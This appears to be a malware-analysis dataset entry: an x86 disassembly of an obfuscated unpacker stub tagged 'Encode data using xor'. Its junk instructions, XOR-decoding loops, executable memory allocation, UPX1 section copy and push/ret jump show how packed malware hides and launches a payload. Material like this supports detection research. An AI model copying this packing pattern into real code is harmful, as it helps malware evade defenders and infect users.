Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe5eb99cb
mov edx, eax
inc eax
mov eax, edx
popal
sub eax, 0x4ca1f725
sub edx, 1
mov esi, 0
mov eax, edi
dec edx
sub edx, ecx
mov ebx, eax
and edx, edx
and ecx, edx
add edx, ecx
mov edi, ebx
and edx, edx
mov edx, ecx
inc esi
sub ecx, 1
dec ecx
cmp esi, 0x100c665
jne 0xa789c9
and ecx, edx
inc ecx
not edx
mov eax, 0xf5a306a1
mov eax, 0xa78796
or edi, edx
mov edx, edi
mov ebx, 0xa7898a
mov edx, 0x93c9d474
and edx, edx
not edi
mov esi, dword [eax]
add ecx, 0x266c28c9
add ecx, 0xdb93a4dd
add edi, 0x96f9f2d3
and esi, 0xff
mov edx, 0xaf732905
inc edx
xor dword [ebx], esi
and edi, edi
sub edx, ecx
inc ebx
or ecx, ecx
dec ecx
mov ecx, 0xe0046981
inc eax
mov edi, ecx
mov ecx, 0x5c83799e
sub edi, edx
cmp ebx, entry0
jl 0xa78a11
sub edi, 1
sub edi, edx
mov edx, 0x621108d6
and edi, edi
dec edx
mov ecx, 0xc383401b
and esi, ecx
dec esi
mov edx, 0xa7898e
sub ebx, edi
and esi, esi
add ecx, 0x88bd705
mov edx, dword [edx]
sub edi, ebx
mov ecx, ebx
mov edx, dword [edx]
sub ecx, 0xa95f1691
or ecx, ebx
push edx
mov edi, 0xc8070098
and esi, ecx
sub esi, 0x4b0343be
mov edx, 0xa7898a
mov edi, ecx
mov esi, edi
dec esi
mov edx, dword [edx]
add ecx, 0x6491a35e
add ecx, 0x33f74717
mov edx, dword [edx]
add ecx, 0x811f53d0
add edi, ebx
push 0xa78992
sub ecx, 0xb346185c
sub esi, ebx
call edx
mov esi, 0x7bea3576
add edi, edi
not edi
mov edx, dword [esp]
add esp, 4
sub ebx, 1
and ebx, ecx
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, esi
mov ecx, edi
sub edi, ecx
push eax
not ecx
sub ecx, 0x231de5c
mov esi, 0x39cc5008
call edx
add edi, 1
or esi, ecx
push 0x40
sub esi, edi
or ebx, edi
sub edi, 0x4b198fdc
push 0x3000
mov esi, ecx
sub ecx, edi
sub esp, 4
mov dword [esp], 0x20000747
or ecx, edi
or ecx, ecx
sub esp, 4
mov dword [esp], 0
add ecx, 0x87f55f47
add ecx, 1
call eax
mov ecx, edi
add esi, 0x7f26ceff
mov ebx, ecx
add eax, 0x200006b2
sub edi, ecx
add ecx, edi
inc ebx
mov edx, 0x87284a71
sub ebx, 0x66d3d0b
mov ebx, esi
mov dword [eax], edx
mov esi, 0xf2e7645
dec ecx
mov edx, dword [eax]
add ebx, 0x509f3864
dec ecx
cmp edx, 0x87284a71
je 0xa78b8b
mov ecx, 0
mov byte [ecx], bl
not edi
sub ecx, ebx
sub ebx, 1
add ebx, 0xf5d184a1
add ebx, 0x6b5b95e2
or esi, ecx
sub eax, edx
add eax, 0x437f9e53
and eax, edx
mov ebx, section.UPX1
inc edx
add edx, 0x22d18d1a
mov edi, 0xa78795
add eax, 0xf73d1c7d
sub edx, eax
mov esi, 0
dec edx
and eax, edx
mov ecx, 0xa78796
or edx, edx
mov eax, 0xf04790e0
lea ecx, [esi + ecx]
mov eax, edx
or eax, edx
add edx, 0x9a9e58bb
mov ecx, dword [ecx]
sub eax, edx
or eax, eax
not eax
and ecx, 0xff
sub edx, eax
not eax
add eax, edx
inc esi
sub edx, 0x629c7616
and eax, eax
cmp esi, 0x1f4
jne 0xa78c11
mov esi, 0
sub edx, 0x544d2dd
add eax, eax
mov eax, 0x11256621
mov eax, 0xc9fbfaa8
not edx
dec edx
xor dword [ebx], ecx
not eax
inc edx
inc eax
add ebx, 2
dec eax
add eax, 0xc8f298bc
cmp ebx, edi
jl 0xa78bce
dec eax
mov eax, edx
inc edx
or edx, edx
mov eax, edx
mov edx, section.UPX1
add esi, esi
inc ebx
or esi, esi
mov edi, section.UPX1
add esi, ebx
mov esi, ebx
sub esi, 0x8c3bf6c1
mov eax, 0xa78795
not ebx
sub esi, 0xb1d6ae95
mov ecx, 0
sub esi, 1
sub ebx, esi
dec esi
mov cl, byte [edi]
mov ebx, 0x91da6e02
add esi, 0x969f39df
mov byte [edx], cl
or ebx, esi
inc esi
inc edx
sub ebx, 0x2daefcad
or esi, ebx
mov esi, 0x594f0a57
add edi, 2
dec esi
sub esi, ebx
mov esi, ebx
cmp edi, eax
jle 0xa78c7d
dec ebx
add ebx, ebx
not esi
add eax, 0x4fbd6d67
add edx, 0x1a2aa1e6
push 0x8dc6a0
not edx
sub edx, eax
ret